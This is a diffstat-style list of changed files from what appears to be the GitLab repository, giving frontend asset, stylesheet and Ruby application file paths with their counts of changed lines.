-rw-r--r--app/assets/javascripts/pages/import/gitlab/status/index.js2
-rw-r--r--app/assets/javascripts/pages/import/manifest/status/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/commit/show/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/compare/show/index.js3
-rw-r--r--app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue84
-rw-r--r--app/assets/javascripts/pages/projects/forks/new/components/project_namespace.vue78
-rw-r--r--app/assets/javascripts/pages/projects/forks/new/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue9
-rw-r--r--app/assets/javascripts/pages/projects/merge_requests/init_merge_request.js2
-rw-r--r--app/assets/javascripts/pages/projects/merge_requests/show/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/ml/experiments/show/index.js3
-rw-r--r--app/assets/javascripts/pages/projects/pipeline_schedules/index/index.js3
-rw-r--r--app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue4
-rw-r--r--app/assets/javascripts/pages/projects/pipeline_schedules/shared/init_form.js2
-rw-r--r--app/assets/javascripts/pages/projects/pipelines/new/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/project_members/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js7
-rw-r--r--app/assets/javascripts/pages/projects/settings/merge_requests/index.js3
-rw-r--r--app/assets/javascripts/pages/projects/usage_quotas/index.js9
-rw-r--r--app/assets/javascripts/pages/users/index.js2
-rw-r--r--app/assets/javascripts/pipeline_new/components/refs_dropdown.vue114
-rw-r--r--app/assets/javascripts/pipeline_new/utils/format_refs.js18
-rw-r--r--app/assets/javascripts/pipeline_wizard/components/wrapper.vue12
-rw-r--r--app/assets/javascripts/pipelines/components/jobs/failed_jobs_table.vue6
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue28
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines_status_badge.vue9
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue44
-rw-r--r--app/assets/javascripts/pipelines/constants.js4
-rw-r--r--app/assets/javascripts/pipelines/mixins/pipelines_mixin.js4
-rw-r--r--app/assets/javascripts/profile/preferences/profile_preferences_bundle.js3
-rw-r--r--app/assets/javascripts/profile/profile.js4
-rw-r--r--app/assets/javascripts/projects/commit/components/branches_dropdown.vue67
-rw-r--r--app/assets/javascripts/projects/commit/components/form_modal.vue13
-rw-r--r--app/assets/javascripts/projects/commit/components/projects_dropdown.vue57
-rw-r--r--app/assets/javascripts/projects/commits/index.js19
-rw-r--r--app/assets/javascripts/projects/merge_requests/components/report_abuse_dropdown_item.vue41
-rw-r--r--app/assets/javascripts/projects/merge_requests/index.js18
-rw-r--r--app/assets/javascripts/projects/settings/branch_rules/components/view/index.vue8
-rw-r--r--app/assets/javascripts/projects/settings/mount_shared_runners_toggle.js4
-rw-r--r--app/assets/javascripts/projects/settings/repository/branch_rules/components/branch_rule.vue12
-rw-r--r--app/assets/javascripts/read_more.js4
-rw-r--r--app/assets/javascripts/ref/components/ref_results_section.vue8
-rw-r--r--app/assets/javascripts/ref/components/ref_selector.vue15
-rw-r--r--app/assets/javascripts/ref/constants.js2
-rw-r--r--app/assets/javascripts/ref/stores/mutations.js4
-rw-r--r--app/assets/javascripts/ref_select_dropdown.js51
-rw-r--r--app/assets/javascripts/repository/commits_service.js2
-rw-r--r--app/assets/javascripts/repository/components/blob_viewers/index.js2
-rw-r--r--app/assets/javascripts/repository/components/blob_viewers/notebook_viewer.vue31
-rw-r--r--app/assets/javascripts/repository/components/blob_viewers/openapi_viewer.vue24
-rw-r--r--app/assets/javascripts/repository/components/fork_info.vue146
-rw-r--r--app/assets/javascripts/repository/components/tree_content.vue17
-rw-r--r--app/assets/javascripts/repository/constants.js6
-rw-r--r--app/assets/javascripts/repository/index.js24
-rw-r--r--app/assets/javascripts/repository/queries/fork_details.query.graphql9
-rw-r--r--app/assets/javascripts/repository/utils/ref_switcher_utils.js8
-rw-r--r--app/assets/javascripts/search/index.js11
-rw-r--r--app/assets/javascripts/search/sidebar/components/confidentiality_filter.vue2
-rw-r--r--app/assets/javascripts/search/sidebar/components/results_filters.vue2
-rw-r--r--app/assets/javascripts/search/sidebar/components/scope_navigation.vue17
-rw-r--r--app/assets/javascripts/search/sidebar/components/status_filter.vue2
-rw-r--r--app/assets/javascripts/search/sidebar/constants/index.js13
-rw-r--r--app/assets/javascripts/search/sidebar/index.js6
-rw-r--r--app/assets/javascripts/search/store/constants.js2
-rw-r--r--app/assets/javascripts/search/store/utils.js24
-rw-r--r--app/assets/javascripts/search/topbar/constants.js2
-rw-r--r--app/assets/javascripts/self_monitor/store/actions.js6
-rw-r--r--app/assets/javascripts/set_status_modal/set_status_form.vue39
-rw-r--r--app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue27
-rw-r--r--app/assets/javascripts/set_status_modal/user_profile_set_status_wrapper.vue54
-rw-r--r--app/assets/javascripts/set_status_modal/utils.js10
-rw-r--r--app/assets/javascripts/sidebar/components/labels/labels_select_vue/labels_select_root.vue5
-rw-r--r--app/assets/javascripts/super_sidebar/components/bottom_bar.vue24
-rw-r--r--app/assets/javascripts/super_sidebar/components/context_switcher.vue83
-rw-r--r--app/assets/javascripts/super_sidebar/components/context_switcher_toggle.vue45
-rw-r--r--app/assets/javascripts/super_sidebar/components/counter.vue48
-rw-r--r--app/assets/javascripts/super_sidebar/components/nav_item.vue37
-rw-r--r--app/assets/javascripts/super_sidebar/components/super_sidebar.vue50
-rw-r--r--app/assets/javascripts/super_sidebar/components/user_bar.vue77
-rw-r--r--app/assets/javascripts/super_sidebar/mock_data.js59
-rw-r--r--app/assets/javascripts/super_sidebar/super_sidebar_bundle.js26
-rw-r--r--app/assets/javascripts/syntax_highlight.js2
-rw-r--r--app/assets/javascripts/terraform/components/states_table.vue6
-rw-r--r--app/assets/javascripts/usage_quotas/storage/components/project_storage_app.vue134
-rw-r--r--app/assets/javascripts/usage_quotas/storage/components/project_storage_detail.vue142
-rw-r--r--app/assets/javascripts/usage_quotas/storage/components/storage_type_icon.vue35
-rw-r--r--app/assets/javascripts/usage_quotas/storage/components/usage_graph.vue170
-rw-r--r--app/assets/javascripts/usage_quotas/storage/constants.js100
-rw-r--r--app/assets/javascripts/usage_quotas/storage/init_project_storage.js34
-rw-r--r--app/assets/javascripts/usage_quotas/storage/queries/project_storage.query.graphql17
-rw-r--r--app/assets/javascripts/usage_quotas/storage/utils.js49
-rw-r--r--app/assets/javascripts/users/profile/components/report_abuse_button.vue55
-rw-r--r--app/assets/javascripts/users/profile/index.js18
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/extensions/base.vue2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_collapsible_extension.vue23
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_how_to_merge_modal.vue58
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/report_widget_container.vue10
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/state_container.vue8
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue21
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue22
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue5
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/widget/app.vue10
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/widget/widget.vue41
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/widget/widget_content_row.vue7
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/extensions/code_quality/constants.js27
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/extensions/code_quality/index.js34
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/extensions/security_reports/graphql/security_report_merge_request_download_paths.query.graphql28
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/extensions/security_reports/mr_widget_security_reports.vue134
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/stores/artifacts_list/actions.js4
-rw-r--r--app/assets/javascripts/vue_shared/components/ci_badge_link.vue3
-rw-r--r--app/assets/javascripts/vue_shared/components/ci_cd_analytics/ci_cd_analytics_charts.vue3
-rw-r--r--app/assets/javascripts/vue_shared/components/ci_cd_analytics/constants.js1
-rw-r--r--app/assets/javascripts/vue_shared/components/ci_icon.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/constants.js4
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/group_select/constants.js1
-rw-r--r--app/assets/javascripts/vue_shared/components/group_select/group_select.vue91
-rw-r--r--app/assets/javascripts/vue_shared/components/group_select/init_group_selects.js48
-rw-r--r--app/assets/javascripts/vue_shared/components/header_ci_component.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/listbox_input/init_listbox_inputs.js42
-rw-r--r--app/assets/javascripts/vue_shared/components/listbox_input/listbox_input.vue31
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/editor_mode_dropdown.vue58
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/field.vue7
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/header.vue11
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/markdown_editor.vue38
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/toolbar.vue21
-rw-r--r--app/assets/javascripts/vue_shared/components/navigation_tabs.vue4
-rw-r--r--app/assets/javascripts/vue_shared/components/pagination/table_pagination.vue3
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_aws_deployments/constants.js63
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal.vue114
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_instructions/constants.js73
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_instructions/graphql/get_runner_platforms.query.graphql (renamed from app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_platforms.query.graphql)0
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_instructions/graphql/get_runner_setup.query.graphql (renamed from app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_setup.query.graphql)0
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_aws_instructions.vue123
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_cli_instructions.vue169
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_docker_instructions.vue35
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_kubernetes_instructions.vue35
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue201
-rw-r--r--app/assets/javascripts/vue_shared/components/source_viewer/constants.js4
-rw-r--r--app/assets/javascripts/vue_shared/components/source_viewer/source_viewer.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/timezone_dropdown/timezone_dropdown.vue14
-rw-r--r--app/assets/javascripts/vue_shared/components/web_ide_link.vue15
-rw-r--r--app/assets/javascripts/vue_shared/constants.js2
-rw-r--r--app/assets/javascripts/vue_shared/issuable/show/components/issuable_edit_form.vue5
-rw-r--r--app/assets/javascripts/vue_shared/new_namespace/components/welcome.vue2
-rw-r--r--app/assets/javascripts/work_items/components/notes/activity_filter.vue113
-rw-r--r--app/assets/javascripts/work_items/components/notes/work_item_note.vue59
-rw-r--r--app/assets/javascripts/work_items/components/notes/work_item_note_body.vue37
-rw-r--r--app/assets/javascripts/work_items/components/work_item_comment_form.vue228
-rw-r--r--app/assets/javascripts/work_items/components/work_item_comment_locked.vue66
-rw-r--r--app/assets/javascripts/work_items/components/work_item_detail.vue67
-rw-r--r--app/assets/javascripts/work_items/components/work_item_detail_modal.vue21
-rw-r--r--app/assets/javascripts/work_items/components/work_item_links/index.js4
-rw-r--r--app/assets/javascripts/work_items/components/work_item_links/work_item_link_child.vue41
-rw-r--r--app/assets/javascripts/work_items/components/work_item_links/work_item_link_child_metadata.vue45
-rw-r--r--app/assets/javascripts/work_items/components/work_item_links/work_item_links.vue1
-rw-r--r--app/assets/javascripts/work_items/components/work_item_links/work_item_links_form.vue149
-rw-r--r--app/assets/javascripts/work_items/components/work_item_links/work_item_tree.vue14
-rw-r--r--app/assets/javascripts/work_items/components/work_item_links/work_item_tree_children.vue1
-rw-r--r--app/assets/javascripts/work_items/components/work_item_note_signed_out.vue31
-rw-r--r--app/assets/javascripts/work_items/components/work_item_notes.vue158
-rw-r--r--app/assets/javascripts/work_items/components/work_item_type_icon.vue5
-rw-r--r--app/assets/javascripts/work_items/constants.js31
-rw-r--r--app/assets/javascripts/work_items/graphql/create_work_item_note.mutation.graphql5
-rw-r--r--app/assets/javascripts/work_items/graphql/discussion.fragment.graphql12
-rw-r--r--app/assets/javascripts/work_items/graphql/project_work_items.query.graphql1
-rw-r--r--app/assets/javascripts/work_items/graphql/work_item.fragment.graphql1
-rw-r--r--app/assets/javascripts/work_items/graphql/work_item_links.query.graphql1
-rw-r--r--app/assets/javascripts/work_items/graphql/work_item_metadata_widgets.fragment.graphql1
-rw-r--r--app/assets/javascripts/work_items/graphql/work_item_note.fragment.graphql16
-rw-r--r--app/assets/javascripts/work_items/graphql/work_item_notes.query.graphql6
-rw-r--r--app/assets/javascripts/work_items/graphql/work_item_notes_by_iid.query.graphql6
-rw-r--r--app/assets/javascripts/work_items/graphql/work_item_tree.query.graphql2
-rw-r--r--app/assets/javascripts/work_items/graphql/work_item_widgets.fragment.graphql2
-rw-r--r--app/assets/javascripts/work_items/index.js4
-rw-r--r--app/assets/stylesheets/fonts.scss29
-rw-r--r--app/assets/stylesheets/framework.scss1
-rw-r--r--app/assets/stylesheets/framework/common.scss4
-rw-r--r--app/assets/stylesheets/framework/contextual_sidebar.scss7
-rw-r--r--app/assets/stylesheets/framework/dropdowns.scss12
-rw-r--r--app/assets/stylesheets/framework/selects.scss11
-rw-r--r--app/assets/stylesheets/framework/super_sidebar.scss22
-rw-r--r--app/assets/stylesheets/framework/variables.scss2
-rw-r--r--app/assets/stylesheets/lazy_bundles/select2_overrides.scss16
-rw-r--r--app/assets/stylesheets/page_bundles/ci_status.scss3
-rw-r--r--app/assets/stylesheets/page_bundles/editor.scss1
-rw-r--r--app/assets/stylesheets/page_bundles/import.scss45
-rw-r--r--app/assets/stylesheets/page_bundles/members.scss4
-rw-r--r--app/assets/stylesheets/page_bundles/merge_requests.scss14
-rw-r--r--app/assets/stylesheets/page_bundles/oncall_schedules.scss10
-rw-r--r--app/assets/stylesheets/page_bundles/todos.scss4
-rw-r--r--app/assets/stylesheets/pages/ml_experiment_tracking.scss14
-rw-r--r--app/assets/stylesheets/pages/pipelines.scss13
-rw-r--r--app/assets/stylesheets/pages/projects.scss4
-rw-r--r--app/assets/stylesheets/startup/startup-dark.scss17
-rw-r--r--app/assets/stylesheets/startup/startup-general.scss13
-rw-r--r--app/assets/stylesheets/themes/_dark.scss4
-rw-r--r--app/assets/stylesheets/utilities.scss43
-rw-r--r--app/components/pajamas/badge_component.rb2
-rw-r--r--app/controllers/abuse_reports_controller.rb21
-rw-r--r--app/controllers/admin/application_settings/appearances_controller.rb2
-rw-r--r--app/controllers/admin/application_settings_controller.rb6
-rw-r--r--app/controllers/admin/broadcast_messages_controller.rb1
-rw-r--r--app/controllers/admin/dashboard_controller.rb1
-rw-r--r--app/controllers/admin/groups_controller.rb4
-rw-r--r--app/controllers/admin/impersonation_tokens_controller.rb4
-rw-r--r--app/controllers/admin/projects_controller.rb2
-rw-r--r--app/controllers/admin/spam_logs_controller.rb2
-rw-r--r--app/controllers/admin/topics_controller.rb6
-rw-r--r--app/controllers/admin/users_controller.rb21
-rw-r--r--app/controllers/application_controller.rb1
-rw-r--r--app/controllers/autocomplete_controller.rb2
-rw-r--r--app/controllers/concerns/access_tokens_actions.rb4
-rw-r--r--app/controllers/concerns/check_rate_limit.rb15
-rw-r--r--app/controllers/concerns/confirm_email_warning.rb11
-rw-r--r--app/controllers/concerns/content_security_policy_patch.rb27
-rw-r--r--app/controllers/concerns/enforces_two_factor_authentication.rb5
-rw-r--r--app/controllers/concerns/gitlab_recaptcha.rb2
-rw-r--r--app/controllers/concerns/integrations/actions.rb4
-rw-r--r--app/controllers/concerns/integrations/params.rb4
-rw-r--r--app/controllers/concerns/issuable_collections.rb1
-rw-r--r--app/controllers/concerns/issuable_collections_action.rb6
-rw-r--r--app/controllers/concerns/lfs_request.rb10
-rw-r--r--app/controllers/concerns/membership_actions.rb9
-rw-r--r--app/controllers/concerns/notes_actions.rb2
-rw-r--r--app/controllers/concerns/observability/content_security_policy.rb10
-rw-r--r--app/controllers/concerns/redirects_for_missing_path_on_tree.rb2
-rw-r--r--app/controllers/concerns/renders_blob.rb2
-rw-r--r--app/controllers/concerns/spammable_actions/akismet_mark_as_spam_action.rb2
-rw-r--r--app/controllers/concerns/spammable_actions/captcha_check/html_format_actions_support.rb2
-rw-r--r--app/controllers/concerns/uploads_actions.rb2
-rw-r--r--app/controllers/concerns/verifies_with_email.rb6
-rw-r--r--app/controllers/dashboard_controller.rb2
-rw-r--r--app/controllers/groups/autocomplete_sources_controller.rb2
-rw-r--r--app/controllers/groups/imports_controller.rb3
-rw-r--r--app/controllers/groups/observability_controller.rb8
-rw-r--r--app/controllers/groups/settings/ci_cd_controller.rb4
-rw-r--r--app/controllers/groups/usage_quotas_controller.rb3
-rw-r--r--app/controllers/groups_controller.rb6
-rw-r--r--app/controllers/ide_controller.rb1
-rw-r--r--app/controllers/import/available_namespaces_controller.rb10
-rw-r--r--app/controllers/import/bitbucket_controller.rb4
-rw-r--r--app/controllers/import/bitbucket_server_controller.rb4
-rw-r--r--app/controllers/import/bulk_imports_controller.rb23
-rw-r--r--app/controllers/import/github_controller.rb19
-rw-r--r--app/controllers/omniauth_callbacks_controller.rb8
-rw-r--r--app/controllers/profiles/avatars_controller.rb2
-rw-r--r--app/controllers/profiles/two_factor_auths_controller.rb2
-rw-r--r--app/controllers/projects/artifacts_controller.rb1
-rw-r--r--app/controllers/projects/autocomplete_sources_controller.rb4
-rw-r--r--app/controllers/projects/ci/pipeline_editor_controller.rb3
-rw-r--r--app/controllers/projects/design_management/designs/resized_image_controller.rb13
-rw-r--r--app/controllers/projects/environments_controller.rb10
-rw-r--r--app/controllers/projects/google_cloud/deployments_controller.rb7
-rw-r--r--app/controllers/projects/group_links_controller.rb21
-rw-r--r--app/controllers/projects/incidents_controller.rb1
-rw-r--r--app/controllers/projects/issues_controller.rb12
-rw-r--r--app/controllers/projects/merge_requests/application_controller.rb6
-rw-r--r--app/controllers/projects/merge_requests/diffs_controller.rb34
-rw-r--r--app/controllers/projects/merge_requests_controller.rb22
-rw-r--r--app/controllers/projects/ml/experiments_controller.rb26
-rw-r--r--app/controllers/projects/pages_controller.rb10
-rw-r--r--app/controllers/projects/protected_refs_controller.rb5
-rw-r--r--app/controllers/projects/settings/ci_cd_controller.rb11
-rw-r--r--app/controllers/projects/settings/merge_requests_controller.rb2
-rw-r--r--app/controllers/projects/work_items_controller.rb2
-rw-r--r--app/controllers/projects_controller.rb4
-rw-r--r--app/controllers/pwa_controller.rb2
-rw-r--r--app/controllers/registrations/welcome_controller.rb38
-rw-r--r--app/controllers/registrations_controller.rb10
-rw-r--r--app/controllers/search_controller.rb37
-rw-r--r--app/controllers/sessions_controller.rb4
-rw-r--r--app/controllers/snippets/notes_controller.rb2
-rw-r--r--app/controllers/uploads_controller.rb5
-rw-r--r--app/events/pages_domains/pages_domain_created_event.rb1
-rw-r--r--app/events/pages_domains/pages_domain_deleted_event.rb1
-rw-r--r--app/events/pages_domains/pages_domain_updated_event.rb1
-rw-r--r--app/finders/access_requests_finder.rb6
-rw-r--r--app/finders/branches_finder.rb18
-rw-r--r--app/finders/ci/pipelines_finder.rb3
-rw-r--r--app/finders/ci/runners_finder.rb2
-rw-r--r--app/finders/git_refs_finder.rb2
-rw-r--r--app/finders/issuable_finder.rb8
-rw-r--r--app/finders/issuable_finder/params.rb5
-rw-r--r--app/finders/issuables/label_filter.rb44
-rw-r--r--app/finders/issues_finder.rb2
-rw-r--r--app/finders/issues_finder/params.rb8
-rw-r--r--app/finders/members_finder.rb6
-rw-r--r--app/finders/packages/go/version_finder.rb2
-rw-r--r--app/graphql/mutations/achievements/create.rb54
-rw-r--r--app/graphql/mutations/boards/lists/base_update.rb2
-rw-r--r--app/graphql/mutations/ci/job/play.rb12
-rw-r--r--app/graphql/mutations/ci/project_ci_cd_settings_update.rb2
-rw-r--r--app/graphql/mutations/clusters/agents/create.rb2
-rw-r--r--app/graphql/mutations/commits/create.rb2
-rw-r--r--app/graphql/mutations/concerns/mutations/work_items/widgetable.rb2
-rw-r--r--app/graphql/mutations/jira_import/start.rb2
-rw-r--r--app/graphql/mutations/members/groups/bulk_update.rb85
-rw-r--r--app/graphql/mutations/merge_requests/accept.rb4
-rw-r--r--app/graphql/mutations/notes/create/note.rb2
-rw-r--r--app/graphql/mutations/packages/bulk_destroy.rb5
-rw-r--r--app/graphql/mutations/releases/create.rb2
-rw-r--r--app/graphql/resolvers/ci/jobs_resolver.rb7
-rw-r--r--app/graphql/resolvers/ci/runner_groups_resolver.rb2
-rw-r--r--app/graphql/resolvers/concerns/board_item_filterable.rb1
-rw-r--r--app/graphql/resolvers/concerns/caching_array_resolver.rb1
-rw-r--r--app/graphql/resolvers/concerns/issues/look_ahead_preloads.rb5
-rw-r--r--app/graphql/resolvers/concerns/resolves_merge_requests.rb2
-rw-r--r--app/graphql/resolvers/concerns/search_arguments.rb23
-rw-r--r--app/graphql/resolvers/issues/base_resolver.rb21
-rw-r--r--app/graphql/resolvers/issues_resolver.rb16
-rw-r--r--app/graphql/resolvers/projects/branch_rules_resolver.rb10
-rw-r--r--app/graphql/resolvers/timelog_resolver.rb36
-rw-r--r--app/graphql/resolvers/work_items_resolver.rb2
-rw-r--r--app/graphql/types/access_level_enum.rb2
-rw-r--r--app/graphql/types/achievements/achievement_type.rb55
-rw-r--r--app/graphql/types/ci/runner_countable_connection_type.rb12
-rw-r--r--app/graphql/types/ci/runner_type.rb9
-rw-r--r--app/graphql/types/description_version_type.rb19
-rw-r--r--app/graphql/types/issue_type.rb9
-rw-r--r--app/graphql/types/issues/unioned_issue_filter_input_type.rb3
-rw-r--r--app/graphql/types/member_access_level_enum.rb16
-rw-r--r--app/graphql/types/member_interface.rb2
-rw-r--r--app/graphql/types/merge_requests/interacts_with_merge_request.rb2
-rw-r--r--app/graphql/types/mutation_type.rb2
-rw-r--r--app/graphql/types/namespace/shared_runners_setting_enum.rb13
-rw-r--r--app/graphql/types/namespace_type.rb11
-rw-r--r--app/graphql/types/notes/note_type.rb94
-rw-r--r--app/graphql/types/notes/noteable_interface.rb5
-rw-r--r--app/graphql/types/notes/system_note_metadata_type.rb22
-rw-r--r--app/graphql/types/projects/branch_rule_type.rb16
-rw-r--r--app/graphql/types/query_type.rb184
-rw-r--r--app/graphql/types/repository/blob_type.rb8
-rw-r--r--app/graphql/types/time_tracking/timelog_connection_type.rb25
-rw-r--r--app/graphql/types/time_tracking/timelog_sort_enum.rb21
-rw-r--r--app/graphql/types/timelog_type.rb2
-rw-r--r--app/graphql/types/todo_action_enum.rb2
-rw-r--r--app/graphql/types/user_interface.rb13
-rw-r--r--app/graphql/types/users/email_type.rb36
-rw-r--r--app/graphql/types/users/namespace_commit_email_type.rb36
-rw-r--r--app/graphql/types/work_items/widgets/description_type.rb4
-rw-r--r--app/helpers/admin/components_helper.rb15
-rw-r--r--app/helpers/appearances_helper.rb4
-rw-r--r--app/helpers/application_helper.rb20
-rw-r--r--app/helpers/application_settings_helper.rb5
-rw-r--r--app/helpers/broadcast_messages_helper.rb8
-rw-r--r--app/helpers/button_helper.rb4
-rw-r--r--app/helpers/ci/runners_helper.rb2
-rw-r--r--app/helpers/emails_helper.rb35
-rw-r--r--app/helpers/environment_helper.rb5
-rw-r--r--app/helpers/feature_flags_helper.rb3
-rw-r--r--app/helpers/form_helper.rb12
-rw-r--r--app/helpers/graph_helper.rb2
-rw-r--r--app/helpers/groups/group_members_helper.rb4
-rw-r--r--app/helpers/groups/observability_helper.rb10
-rw-r--r--app/helpers/import_helper.rb2
-rw-r--r--app/helpers/integrations_helper.rb8
-rw-r--r--app/helpers/issuables_helper.rb22
-rw-r--r--app/helpers/issues_helper.rb28
-rw-r--r--app/helpers/markup_helper.rb15
-rw-r--r--app/helpers/merge_requests_helper.rb6
-rw-r--r--app/helpers/nav_helper.rb4
-rw-r--r--app/helpers/preferences_helper.rb17
-rw-r--r--app/helpers/projects/ml/experiments_helper.rb23
-rw-r--r--app/helpers/projects/project_members_helper.rb4
-rw-r--r--app/helpers/projects_helper.rb30
-rw-r--r--app/helpers/protected_branches_helper.rb19
-rw-r--r--app/helpers/search_helper.rb2
-rw-r--r--app/helpers/selects_helper.rb14
-rw-r--r--app/helpers/sidebars_helper.rb12
-rw-r--r--app/helpers/timeboxes_helper.rb14
-rw-r--r--app/helpers/todos_helper.rb4
-rw-r--r--app/helpers/url_helper.rb11
-rw-r--r--app/helpers/users/callouts_helper.rb4
-rw-r--r--app/helpers/users_helper.rb2
-rw-r--r--app/helpers/version_check_helper.rb2
-rw-r--r--app/helpers/visibility_level_helper.rb2
-rw-r--r--app/helpers/work_items_helper.rb4
-rw-r--r--app/mailers/devise_mailer.rb5
-rw-r--r--app/mailers/emails/imports.rb15
-rw-r--r--app/mailers/emails/profile.rb5
-rw-r--r--app/mailers/emails/service_desk.rb33
-rw-r--r--app/mailers/notify.rb1
-rw-r--r--app/mailers/previews/notify_preview.rb4
-rw-r--r--app/models/abuse_report.rb37
-rw-r--r--app/models/achievements/achievement.rb3
-rw-r--r--app/models/achievements/user_achievement.rb17
-rw-r--r--app/models/analytics/cycle_analytics/aggregation.rb8
-rw-r--r--app/models/analytics/cycle_analytics/project_stage.rb5
-rw-r--r--app/models/appearance.rb8
-rw-r--r--app/models/application_setting.rb17
-rw-r--r--app/models/application_setting_implementation.rb4
-rw-r--r--app/models/bulk_imports/entity.rb4
-rw-r--r--app/models/chat_name.rb4
-rw-r--r--app/models/ci/artifact_blob.rb2
-rw-r--r--app/models/ci/bridge.rb31
-rw-r--r--app/models/ci/build.rb26
-rw-r--r--app/models/ci/build_metadata.rb2
-rw-r--r--app/models/ci/build_trace_chunk.rb2
-rw-r--r--app/models/ci/job_artifact.rb8
-rw-r--r--app/models/ci/pipeline.rb6
-rw-r--r--app/models/ci/runner.rb23
-rw-r--r--app/models/ci/runner_machine.rb33
-rw-r--r--app/models/clusters/concerns/provider_status.rb2
-rw-r--r--app/models/clusters/providers/aws.rb12
-rw-r--r--app/models/clusters/providers/gcp.rb6
-rw-r--r--app/models/commit.rb14
-rw-r--r--app/models/commit_collection.rb2
-rw-r--r--app/models/commit_signatures/ssh_signature.rb7
-rw-r--r--app/models/commit_status.rb1
-rw-r--r--app/models/concerns/analytics/cycle_analytics/parentable.rb22
-rw-r--r--app/models/concerns/analytics/cycle_analytics/stage.rb157
-rw-r--r--app/models/concerns/analytics/cycle_analytics/stageable.rb151
-rw-r--r--app/models/concerns/board_recent_visit.rb4
-rw-r--r--app/models/concerns/ci/has_runner_executor.rb24
-rw-r--r--app/models/concerns/counter_attribute.rb40
-rw-r--r--app/models/concerns/has_user_type.rb22
-rw-r--r--app/models/concerns/noteable.rb12
-rw-r--r--app/models/concerns/project_features_compatibility.rb9
-rw-r--r--app/models/concerns/resolvable_discussion.rb2
-rw-r--r--app/models/concerns/safely_change_column_default.rb46
-rw-r--r--app/models/concerns/update_project_statistics.rb5
-rw-r--r--app/models/concerns/work_item_resource_event.rb23
-rw-r--r--app/models/deploy_key.rb8
-rw-r--r--app/models/deployment.rb11
-rw-r--r--app/models/description_version.rb2
-rw-r--r--app/models/environment.rb21
-rw-r--r--app/models/event.rb2
-rw-r--r--app/models/group.rb16
-rw-r--r--app/models/integration.rb4
-rw-r--r--app/models/integrations/apple_app_store.rb111
-rw-r--r--app/models/integrations/base_chat_notification.rb16
-rw-r--r--app/models/integrations/base_slash_commands.rb2
-rw-r--r--app/models/integrations/chat_message/issue_message.rb10
-rw-r--r--app/models/integrations/chat_message/pipeline_message.rb2
-rw-r--r--app/models/integrations/field.rb7
-rw-r--r--app/models/integrations/flowdock.rb20
-rw-r--r--app/models/issue.rb7
-rw-r--r--app/models/label_note.rb15
-rw-r--r--app/models/member.rb6
-rw-r--r--app/models/members/member_role.rb8
-rw-r--r--app/models/merge_request.rb18
-rw-r--r--app/models/merge_request_diff.rb13
-rw-r--r--app/models/milestone.rb2
-rw-r--r--app/models/ml/candidate.rb23
-rw-r--r--app/models/namespace.rb20
-rw-r--r--app/models/namespace_setting.rb6
-rw-r--r--app/models/note.rb14
-rw-r--r--app/models/packages/nuget.rb1
-rw-r--r--app/models/packages/package.rb4
-rw-r--r--app/models/packages/package_file.rb1
-rw-r--r--app/models/pages/lookup_path.rb2
-rw-r--r--app/models/pages_domain.rb6
-rw-r--r--app/models/personal_access_token.rb20
-rw-r--r--app/models/project.rb73
-rw-r--r--app/models/project_setting.rb2
-rw-r--r--app/models/project_statistics.rb29
-rw-r--r--app/models/projects/branch_rule.rb32
-rw-r--r--app/models/projects/build_artifacts_size_refresh.rb44
-rw-r--r--app/models/protected_branch.rb14
-rw-r--r--app/models/protected_branch/merge_access_level.rb1
-rw-r--r--app/models/protected_branch/push_access_level.rb1
